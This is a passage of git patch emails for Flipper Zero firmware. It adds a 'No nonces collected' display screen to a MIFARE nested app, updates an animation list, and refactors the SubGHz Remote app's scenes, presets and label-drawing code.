Settings) +ADD_SCENE(mifare_nested, no_nonces_collected, NoNoncesCollected) \ No newline at end of file diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c new file mode 100644 index 000000000..74e2459e8 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c @@ -0,0 +1,94 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_no_nonces_collected_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_no_nonces_collected_on_enter(void* context) { + MifareNested* mifare_nested = context; + Widget* widget = mifare_nested->widget; + SaveNoncesResult_t* save_state = mifare_nested->save_state; + + notification_message(mifare_nested->notifications, &sequence_error); + + widget_add_icon_element(widget, 73, 12, &I_DolphinCry); + widget_add_string_element( + widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No nonces collected"); + + uint32_t index = 12; + + if(save_state->skipped) { + char append_skipped[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'}; + if(save_state->skipped != 1) { + append_skipped[6] = 's'; + } + + char draw_str[32] = {}; + snprintf( + draw_str, sizeof(draw_str), "Skipped: %lu %s", save_state->skipped, append_skipped); + + widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str); + + widget_add_string_element( + widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(already has keys)"); + + index += 20; + } + + if(save_state->invalid) { + char append_invalid[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'}; + if(save_state->invalid != 1) { + append_invalid[6] = 's'; + } + + char draw_str[32] = {}; + snprintf( + draw_str, sizeof(draw_str), "Invalid: %lu %s", save_state->invalid, append_invalid); + + widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str); + + widget_add_string_element( + widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(can't auth)"); + } + + free(save_state); + + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_no_nonces_collected_widget_callback, + mifare_nested); + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_no_nonces_collected_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_no_nonces_collected_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} From 15a33a58d32758a34d5475d72e968daa40f76311 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 30 May 2023 19:33:29 +0300 Subject: [PATCH 096/100] Upd ofw anim list --- .ci_files/anims_ofw.txt | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.ci_files/anims_ofw.txt b/.ci_files/anims_ofw.txt index a9a6fd241..4fa369f82 100644 --- a/.ci_files/anims_ofw.txt +++ b/.ci_files/anims_ofw.txt @@ -85,6 +85,13 @@ Min level: 1 Max level: 3 Weight: 3 +Name: L1_Kaiju_128x64 +Min butthurt: 0 +Max butthurt: 10 +Min level: 1 +Max level: 3 +Weight: 4 + Name: L2_Wake_up_128x64 Min butthurt: 0 Max butthurt: 12 From b3e8b2c487da17fdda1a78740967f1c5e1e955ee Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Tue, 30 May 2023 16:51:07 +0300 Subject: [PATCH 097/100] upd_subrem_main --- .../main/subghz_remote/application.fam | 2 +- .../helpers/subrem_custom_event.h | 10 +- .../subghz_remote/helpers/subrem_presets.c | 7 +- .../subghz_remote/helpers/subrem_presets.h | 5 +- .../main/subghz_remote/helpers/subrem_types.h | 11 +- .../main/subghz_remote/helpers/txrx/Readme.md | 4 + .../subghz_remote/helpers/txrx/subghz_txrx.h | 3 + .../scenes/subrem_scene_config.h | 2 +- .../scenes/subrem_scene_open_map_file.c | 56 ++++++ .../scenes/subrem_scene_openmapfile.c | 42 ----- .../scenes/subrem_scene_remote.c | 16 +- .../subghz_remote/scenes/subrem_scene_start.c | 10 +- .../main/subghz_remote/subghz_remote_app.c | 14 +- .../main/subghz_remote/subghz_remote_app_i.c | 65 +++---- .../main/subghz_remote/subghz_remote_app_i.h | 24 +-- .../main/subghz_remote/views/remote.c | 162 +++++++++--------- .../main/subghz_remote/views/remote.h | 6 +- assets/icons/Archive/subrem_10px.png | Bin 0 -> 5000 bytes 18 files changed, 215 insertions(+), 224 deletions(-) create mode 100644 applications/main/subghz_remote/helpers/txrx/Readme.md create mode 100644 applications/main/subghz_remote/helpers/txrx/subghz_txrx.h create mode 100644 applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c delete mode 100644 applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c create mode 100644 assets/icons/Archive/subrem_10px.png diff --git a/applications/main/subghz_remote/application.fam b/applications/main/subghz_remote/application.fam index e785043e6..65095573f 100644 --- a/applications/main/subghz_remote/application.fam +++ b/applications/main/subghz_remote/application.fam @@ -12,6 +12,6 @@ App( "dialogs", ], icon="A_SubGHzRemote_14", - stack_size=4 * 1024, + stack_size=3 * 1024, order=11, ) \ No newline at end of file diff --git a/applications/main/subghz_remote/helpers/subrem_custom_event.h b/applications/main/subghz_remote/helpers/subrem_custom_event.h index 46ab8ad54..e4bd95143 100644 --- a/applications/main/subghz_remote/helpers/subrem_custom_event.h +++ b/applications/main/subghz_remote/helpers/subrem_custom_event.h @@ -1,12 +1,14 @@ #pragma once typedef enum { - //SubmenuIndex - SubmenuIndexSubRemOpenMapFile, + // SubmenuIndex + SubmenuIndexSubRemOpenMapFile = 0, +#if FURI_DEBUG SubmenuIndexSubRemRemoteView, - SubmenuIndexSubRemAbout, +#endif + // SubmenuIndexSubRemAbout, - //SubRemCustomEvent + // SubRemCustomEvent SubRemCustomEventViewRemoteStartUP = 100, SubRemCustomEventViewRemoteStartDOWN, SubRemCustomEventViewRemoteStartLEFT, diff --git a/applications/main/subghz_remote/helpers/subrem_presets.c b/applications/main/subghz_remote/helpers/subrem_presets.c index 9601aae6c..dc298c069 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.c +++ b/applications/main/subghz_remote/helpers/subrem_presets.c @@ -8,7 +8,7 @@ SubRemSubFilePreset* subrem_sub_file_preset_alloc() { sub_preset->fff_data = flipper_format_string_alloc(); sub_preset->file_path = furi_string_alloc(); sub_preset->protocaol_name = furi_string_alloc(); - sub_preset->label = furi_string_alloc_set_str("N/A"); + sub_preset->label = furi_string_alloc(); sub_preset->freq_preset.name = furi_string_alloc(); @@ -34,7 +34,7 @@ void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { furi_assert(sub_preset); - furi_string_set_str(sub_preset->label, "N/A"); + furi_string_set_str(sub_preset->label, ""); furi_string_reset(sub_preset->protocaol_name); furi_string_reset(sub_preset->file_path); @@ -77,7 +77,7 @@ SubRemLoadSubState subrem_sub_preset_load( break; } - SubGhzSetting* setting = subghz_txrx_get_setting(txrx); // txrx->setting; + SubGhzSetting* setting = subghz_txrx_get_setting(txrx); //Load frequency or using default from settings ret = SubRemLoadSubStateErrorFreq; @@ -175,5 +175,6 @@ SubRemLoadSubState subrem_sub_preset_load( } while(false); furi_string_free(temp_str); + sub_preset->load_state = ret; return ret; } diff --git a/applications/main/subghz_remote/helpers/subrem_presets.h b/applications/main/subghz_remote/helpers/subrem_presets.h index fd4a2d780..d66181b90 100644 --- a/applications/main/subghz_remote/helpers/subrem_presets.h +++ b/applications/main/subghz_remote/helpers/subrem_presets.h @@ -1,9 +1,10 @@ #pragma once #include "subrem_types.h" +#include "txrx/subghz_txrx.h" + #include -#include -#include "../../subghz/helpers/subghz_txrx.h" +#include typedef struct { FuriString* name; diff --git a/applications/main/subghz_remote/helpers/subrem_types.h b/applications/main/subghz_remote/helpers/subrem_types.h index def807898..b392de17e 100644 --- a/applications/main/subghz_remote/helpers/subrem_types.h +++ b/applications/main/subghz_remote/helpers/subrem_types.h @@ -3,9 +3,8 @@ #include #include -// TODO: File version/type logic -// #define SUBREM_APP_APP_FILE_VERSION 1 -// #define SUBREM_APP_APP_FILE_TYPE "Flipper SubRem Map file" +#define SUBREM_APP_APP_FILE_VERSION 1 +#define SUBREM_APP_APP_FILE_TYPE "Flipper SubRem Map file" #define SUBREM_APP_EXTENSION ".txt" typedef enum { @@ -18,10 +17,7 @@ typedef enum { } SubRemSubKeyName; typedef enum { - SubRemViewSubmenu, - SubRemViewWidget, - SubRemViewPopup, - SubRemViewTextInput, + SubRemViewIDSubmenu, SubRemViewIDRemote, } SubRemViewID; @@ -29,6 +25,7 @@ typedef enum { SubRemLoadSubStateNotSet = 0, SubRemLoadSubStatePreloaded, SubRemLoadSubStateError, + SubRemLoadSubStateErrorIncorectPath, SubRemLoadSubStateErrorNoFile, SubRemLoadSubStateErrorFreq, SubRemLoadSubStateErrorMod, diff --git a/applications/main/subghz_remote/helpers/txrx/Readme.md b/applications/main/subghz_remote/helpers/txrx/Readme.md new file mode 100644 index 000000000..918160198 --- /dev/null +++ b/applications/main/subghz_remote/helpers/txrx/Readme.md @@ -0,0 +1,4 @@ +This is part of the official `SubGhz` app from [flipperzero-firmware](https://github.com/flipperdevices/flipperzero-firmware/tree/3217f286f03da119398586daf94c0723d28b872a/applications/main/subghz) + +With changes from [unleashed-firmware +](https://github.com/DarkFlippers/unleashed-firmware/tree/3eac6ccd48a3851cf5d63bf7899b387a293e5319/applications/main/subghz) \ No newline at end of file diff --git a/applications/main/subghz_remote/helpers/txrx/subghz_txrx.h b/applications/main/subghz_remote/helpers/txrx/subghz_txrx.h new file mode 100644 index 000000000..5241f402f --- /dev/null +++ b/applications/main/subghz_remote/helpers/txrx/subghz_txrx.h @@ -0,0 +1,3 @@ +#pragma once + +#include "../../../subghz/helpers/subghz_txrx.h" \ No newline at end of file diff --git a/applications/main/subghz_remote/scenes/subrem_scene_config.h b/applications/main/subghz_remote/scenes/subrem_scene_config.h index 93d4de642..68b205169 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_config.h +++ b/applications/main/subghz_remote/scenes/subrem_scene_config.h @@ -1,3 +1,3 @@ ADD_SCENE(subrem, start, Start) -ADD_SCENE(subrem, openmapfile, OpenMapFile) +ADD_SCENE(subrem, open_map_file, OpenMapFile) ADD_SCENE(subrem, remote, Remote) \ No newline at end of file diff --git a/applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c b/applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c new file mode 100644 index 000000000..f1b8b2ec2 --- /dev/null +++ b/applications/main/subghz_remote/scenes/subrem_scene_open_map_file.c @@ -0,0 +1,56 @@ +#include "../subghz_remote_app_i.h" + +void subrem_scene_open_map_file_on_enter(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + SubRemLoadMapState load_state = subrem_load_from_file(app); + uint32_t start_scene_state = + scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart); + + // TODO if optimization + + if(load_state == SubRemLoadMapStateBack) { + if(!scene_manager_previous_scene(app->scene_manager)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } + } else if(start_scene_state == SubmenuIndexSubRemOpenMapFile) { + if(load_state != SubRemLoadMapStateOK && load_state != SubRemLoadMapStateNotAllOK && + load_state != SubRemLoadMapStateBack) { +#ifdef SUBREM_LIGHT + dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); +#else + DialogMessage* message = dialog_message_alloc(); + + dialog_message_set_header(message, "Map File Error", 64, 8, AlignCenter, AlignCenter); + dialog_message_set_text( + message, "Can't load\nMap file", 64, 32, AlignCenter, AlignCenter); + dialog_message_set_buttons(message, "Back", NULL, NULL); + dialog_message_show(app->dialogs, message); + + dialog_message_free(message); +#endif + } + if(load_state == SubRemLoadMapStateOK || load_state == SubRemLoadMapStateNotAllOK) { + scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); + } else { + // TODO: Map Preset Reset + if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, SubRemSceneStart)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } + } + } +} + +bool subrem_scene_open_map_file_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + UNUSED(event); + return false; +} + +void subrem_scene_open_map_file_on_exit(void* context) { + UNUSED(context); +} diff --git a/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c b/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c deleted file mode 100644 index 796699c83..000000000 --- a/applications/main/subghz_remote/scenes/subrem_scene_openmapfile.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "../subghz_remote_app_i.h" - -void subrem_scene_openmapfile_on_enter(void* context) { - SubGhzRemoteApp* app = context; - SubRemLoadMapState load_state = subrem_load_from_file(app); - - if(load_state != SubRemLoadMapStateOK && load_state != SubRemLoadMapStateNotAllOK && - load_state != SubRemLoadMapStateBack) { -#ifdef SUBREM_LIGHT - dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); -#else - DialogMessage* message = dialog_message_alloc(); - - dialog_message_set_header(message, "Map File Error", 64, 8, AlignCenter, AlignCenter); - dialog_message_set_text(message, "Can't load\nMap file", 64, 32, AlignCenter, AlignCenter); - dialog_message_set_buttons(message, "Back", NULL, NULL); - dialog_message_show(app->dialogs, message); - - dialog_message_free(message); -#endif - } - if(load_state == SubRemLoadMapStateOK || load_state == SubRemLoadMapStateNotAllOK) { - scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); - } else { - // TODO: Map Preset Reset - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneStart)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - } -} - -bool subrem_scene_openmapfile_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void subrem_scene_openmapfile_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/main/subghz_remote/scenes/subrem_scene_remote.c b/applications/main/subghz_remote/scenes/subrem_scene_remote.c index eaa1c41d9..644f8daac 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_remote.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_remote.c @@ -35,24 +35,10 @@ static uint8_t subrem_scene_remote_event_to_index(SubRemCustomEvent event_id) { return ret; } -static bool subrem_scene_remote_update_data_show(void* context) { - SubGhzRemoteApp* app = context; - - const char* labels[SubRemSubKeyNameMaxCount]; - - for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - labels[i] = furi_string_get_cstr(app->map_preset->subs_preset[i]->label); - } - - subrem_view_remote_add_data_to_show(app->subrem_remote_view, labels); - - return true; -} - void subrem_scene_remote_on_enter(void* context) { SubGhzRemoteApp* app = context; - subrem_scene_remote_update_data_show(app); + subrem_view_remote_update_data_labels(app->subrem_remote_view, app->map_preset->subs_preset); subrem_view_remote_set_callback(app->subrem_remote_view, subrem_scene_remote_callback, app); diff --git a/applications/main/subghz_remote/scenes/subrem_scene_start.c b/applications/main/subghz_remote/scenes/subrem_scene_start.c index a4bfa5047..dd840c40d 100644 --- a/applications/main/subghz_remote/scenes/subrem_scene_start.c +++ b/applications/main/subghz_remote/scenes/subrem_scene_start.c @@ -34,12 +34,10 @@ void subrem_scene_start_on_enter(void* context) { // subrem_scene_start_submenu_callback, // app); - // TODO: set scene state in subrem alloc - // submenu_set_selected_item( - // submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); - submenu_set_selected_item(submenu, SubmenuIndexSubRemOpenMapFile); + submenu_set_selected_item( + submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); - view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewSubmenu); + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDSubmenu); } bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { @@ -50,6 +48,8 @@ bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubmenuIndexSubRemOpenMapFile) { + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneStart, SubmenuIndexSubRemOpenMapFile); scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); consumed = true; } diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index e57b1ac2d..624a602ae 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -1,7 +1,5 @@ #include "subghz_remote_app_i.h" -#include - static bool subghz_remote_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); SubGhzRemoteApp* app = context; @@ -70,9 +68,9 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { // SubMenu app->submenu = submenu_alloc(); view_dispatcher_add_view( - app->view_dispatcher, SubRemViewSubmenu, submenu_get_view(app->submenu)); + app->view_dispatcher, SubRemViewIDSubmenu, submenu_get_view(app->submenu)); - //Dialog + // Dialog app->dialogs = furi_record_open(RECORD_DIALOGS); // Remote view @@ -91,12 +89,12 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { subghz_txrx_set_need_save_callback(app->txrx, subrem_save_active_sub, app); - app->tx_running = false; - #ifdef SUBREM_LIGHT scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); #else scene_manager_next_scene(app->scene_manager, SubRemSceneStart); + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneStart, SubmenuIndexSubRemOpenMapFile); #endif return app; @@ -113,10 +111,10 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { furi_hal_subghz_init_radio_type(SubGhzRadioInternal); // Submenu - view_dispatcher_remove_view(app->view_dispatcher, SubRemViewSubmenu); + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDSubmenu); submenu_free(app->submenu); - //Dialog + // Dialog furi_record_close(RECORD_DIALOGS); // Remote view diff --git a/applications/main/subghz_remote/subghz_remote_app_i.c b/applications/main/subghz_remote/subghz_remote_app_i.c index fb34b59f7..82c2efbf5 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.c +++ b/applications/main/subghz_remote/subghz_remote_app_i.c @@ -2,23 +2,18 @@ #include #include -#include - -#include "../subghz/helpers/subghz_txrx_i.h" +#include "helpers/txrx/subghz_txrx.h" // #include // #include +#ifdef APP_SUBGHZREMOTE +#include #include +#endif #define TAG "SubGhzRemote" -// XXX Using TxRx -// [x] use TxRx preset subrem_sub_preset_load & subrem_tx_start_sub -// [x] subrem_sub_preset_load & drop subrem_set_preset_data -// [x] subrem_tx_start_sub -// [x] subrem_tx_stop_sub - static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { [SubRemSubKeyNameUp] = {"UP", "ULABEL"}, [SubRemSubKeyNameDown] = {"DOWN", "DLABEL"}, @@ -45,30 +40,25 @@ static SubRemLoadMapState subrem_map_preset_check( bool all_loaded = true; SubRemLoadMapState ret = SubRemLoadMapStateErrorBrokenFile; - SubRemLoadSubState sub_preset_loaded; + SubRemLoadSubState sub_loadig_state; SubRemSubFilePreset* sub_preset; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { sub_preset = map_preset->subs_preset[i]; - sub_preset_loaded = SubRemLoadSubStateErrorNoFile; + sub_loadig_state = SubRemLoadSubStateErrorNoFile; if(furi_string_empty(sub_preset->file_path)) { // FURI_LOG_I(TAG, "Empty file path"); } else if(!flipper_format_file_open_existing( fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { + sub_preset->load_state = SubRemLoadSubStateErrorNoFile; FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); } else { - sub_preset_loaded = subrem_sub_preset_load(sub_preset, txrx, fff_data_file); + sub_loadig_state = subrem_sub_preset_load(sub_preset, txrx, fff_data_file); } - // TODO: - // Load file state logic - // Label depending on the state - // Move to remote scene - - if(sub_preset_loaded != SubRemLoadSubStateOK) { - furi_string_set_str(sub_preset->label, "N/A"); + if(sub_loadig_state != SubRemLoadSubStateOK) { all_loaded = false; } else { ret = SubRemLoadMapStateNotAllOK; @@ -96,6 +86,9 @@ static bool subrem_map_preset_load(SubRemMapPreset* map_preset, FlipperFormat* f FURI_LOG_W(TAG, "No file patch for %s", map_file_labels[i][0]); #endif sub_preset->type = SubGhzProtocolTypeUnknown; + } else if(!path_contains_only_ascii(furi_string_get_cstr(sub_preset->file_path))) { + FURI_LOG_E(TAG, "Incorrect characters in [%s] file path", map_file_labels[i][0]); + sub_preset->type = SubGhzProtocolTypeUnknown; } else if(!flipper_format_rewind(fff_data_file)) { // Rewind error } else if(!flipper_format_read_string( @@ -103,8 +96,6 @@ static bool subrem_map_preset_load(SubRemMapPreset* map_preset, FlipperFormat* f #if FURI_DEBUG FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); #endif - // TODO move to remote scene - path_extract_filename(sub_preset->file_path, sub_preset->label, true); ret = true; } else { ret = true; @@ -237,17 +228,17 @@ bool subrem_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) NULL, 0); +#ifdef APP_SUBGHZREMOTE subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); keeloq_reset_original_btn(); subghz_custom_btns_reset(); +#endif if(subghz_txrx_tx_start(app->txrx, sub_preset->fff_data) == SubGhzTxRxStartTxStateOk) { ret = true; } } - app->tx_running = ret; - return ret; } @@ -256,22 +247,18 @@ bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { - // XXX drop app->tx_running - if(app->tx_running) { - subghz_txrx_stop(app->txrx); - - if(sub_preset->type == SubGhzProtocolTypeDynamic) { - keeloq_reset_mfname(); - keeloq_reset_kl_type(); - keeloq_reset_original_btn(); - subghz_custom_btns_reset(); - star_line_reset_mfname(); - star_line_reset_kl_type(); - } - - app->tx_running = false; - return true; + subghz_txrx_stop(app->txrx); +#ifdef APP_SUBGHZREMOTE + if(sub_preset->type == SubGhzProtocolTypeDynamic) { + keeloq_reset_mfname(); + keeloq_reset_kl_type(); + keeloq_reset_original_btn(); + subghz_custom_btns_reset(); + star_line_reset_mfname(); + star_line_reset_kl_type(); } +#endif + return true; } return false; @@ -284,7 +271,7 @@ SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { SubRemLoadMapState ret = SubRemLoadMapStateBack; DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, SUBREM_APP_EXTENSION, &I_sub1_10px); + dialog_file_browser_set_basic_options(&browser_options, SUBREM_APP_EXTENSION, &I_subrem_10px); browser_options.base_path = SUBREM_APP_FOLDER; // Input events and views are managed by file_select diff --git a/applications/main/subghz_remote/subghz_remote_app_i.h b/applications/main/subghz_remote/subghz_remote_app_i.h index 50e2bae9f..ff01ba12a 100644 --- a/applications/main/subghz_remote/subghz_remote_app_i.h +++ b/applications/main/subghz_remote/subghz_remote_app_i.h @@ -2,34 +2,31 @@ #include "helpers/subrem_types.h" #include "helpers/subrem_presets.h" +#include "scenes/subrem_scene.h" -#include "../subghz/helpers/subghz_txrx.h" +#include "helpers/txrx/subghz_txrx.h" +#ifdef APP_SUBGHZREMOTE #include +#elif +#include +#endif #include "views/remote.h" -#include "scenes/subrem_scene.h" - #include #include #include #include #include -#include #include -#include -#include #include +#include +#include +#include #include -#include - -#include -#include -#include - #define SUBREM_APP_FOLDER EXT_PATH("subghz_remote") #define SUBREM_MAX_LEN_NAME 64 @@ -42,7 +39,6 @@ typedef struct { Submenu* submenu; FuriString* file_path; - // char file_name_tmp[SUBREM_MAX_LEN_NAME]; SubRemViewRemote* subrem_remote_view; @@ -50,8 +46,6 @@ typedef struct { SubGhzTxRx* txrx; - bool tx_running; - uint8_t chusen_sub; } SubGhzRemoteApp; diff --git a/applications/main/subghz_remote/views/remote.c b/applications/main/subghz_remote/views/remote.c index e062f11b1..c2b41cfd6 100644 --- a/applications/main/subghz_remote/views/remote.c +++ b/applications/main/subghz_remote/views/remote.c @@ -4,7 +4,11 @@ #include #include -#define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 12 +#include + +#define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 30 +#define SUBREM_VIEW_REMOTE_LEFT_OFFSET 10 +#define SUBREM_VIEW_REMOTE_RIGHT_OFFSET 22 struct SubRemViewRemote { View* view; @@ -12,19 +16,8 @@ struct SubRemViewRemote { void* context; }; -// TODO: model typedef struct { - // FuriString* up_label; - // FuriString* down_label; - // FuriString* left_label; - // FuriString* right_label; - // FuriString* ok_label; - - char* up_label; - char* down_label; - char* left_label; - char* right_label; - char* ok_label; + char* labels[SubRemSubKeyNameMaxCount]; SubRemViewRemoteState state; @@ -41,26 +34,61 @@ void subrem_view_remote_set_callback( subrem_view_remote->context = context; } -void subrem_view_remote_add_data_to_show(SubRemViewRemote* subrem_view_remote, const char** labels) { +void subrem_view_remote_update_data_labels( + SubRemViewRemote* subrem_view_remote, + SubRemSubFilePreset** subs_presets) { furi_assert(subrem_view_remote); + furi_assert(subs_presets); + + FuriString* labels[SubRemSubKeyNameMaxCount]; + SubRemSubFilePreset* sub_preset; + + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = subs_presets[i]; + switch(sub_preset->load_state) { + case SubRemLoadSubStateOK: + if(!furi_string_empty(sub_preset->label)) { + labels[i] = furi_string_alloc_set(sub_preset->label); + } else if(!furi_string_empty(sub_preset->file_path)) { + labels[i] = furi_string_alloc(); + path_extract_filename(sub_preset->file_path, labels[i], true); + } else { + labels[i] = furi_string_alloc_set("Empty Label"); + } + break; + + case SubRemLoadSubStateErrorNoFile: + labels[i] = furi_string_alloc_set("[X] Can't open file"); + break; + + case SubRemLoadSubStateErrorFreq: + case SubRemLoadSubStateErrorMod: + case SubRemLoadSubStateErrorProtocol: + labels[i] = furi_string_alloc_set("[X] Error in .sub file"); + break; + + default: + labels[i] = furi_string_alloc_set(""); + break; + } + } with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, { - strncpy(model->up_label, labels[0], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->down_label, labels[1], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->left_label, labels[2], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->right_label, labels[3], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - strncpy(model->ok_label, labels[4], SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - - // furi_string_set(model->up_label, up_label); - // furi_string_set(model->down_label, down_label); - // furi_string_set(model->left_label, left_label); - // furi_string_set(model->right_label, right_label); - // furi_string_set(model->ok_label, ok_label); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + strncpy( + model->labels[i], + furi_string_get_cstr(labels[i]), + SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); + } }, true); + + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + furi_string_free(labels[i]); + } } void subrem_view_remote_set_state( @@ -95,24 +123,32 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { //Labels canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 10, 10, model->up_label); - canvas_draw_str(canvas, 10, 20, model->down_label); - canvas_draw_str(canvas, 10, 30, model->left_label); - canvas_draw_str(canvas, 10, 40, model->right_label); - canvas_draw_str(canvas, 10, 50, model->ok_label); + uint8_t y = 0; + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + elements_text_box( + canvas, + SUBREM_VIEW_REMOTE_LEFT_OFFSET, + y + 2, + 126 - SUBREM_VIEW_REMOTE_LEFT_OFFSET - SUBREM_VIEW_REMOTE_RIGHT_OFFSET, + 12, + AlignLeft, + AlignBottom, + model->labels[i], + false); + y += 10; + } - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); - - canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit."); + if(model->state == SubRemViewRemoteStateOFF) { + elements_button_left(canvas, "Back"); + elements_button_right(canvas, "Save"); + } else { + canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit."); + } //Status text and indicator canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); - if(model->state == SubRemViewRemoteStateIdle) { + if(model->state == SubRemViewRemoteStateIdle || model->state == SubRemViewRemoteStateOFF) { canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Idle"); } else { switch(model->state) { @@ -147,10 +183,6 @@ void subrem_view_remote_draw(Canvas* canvas, 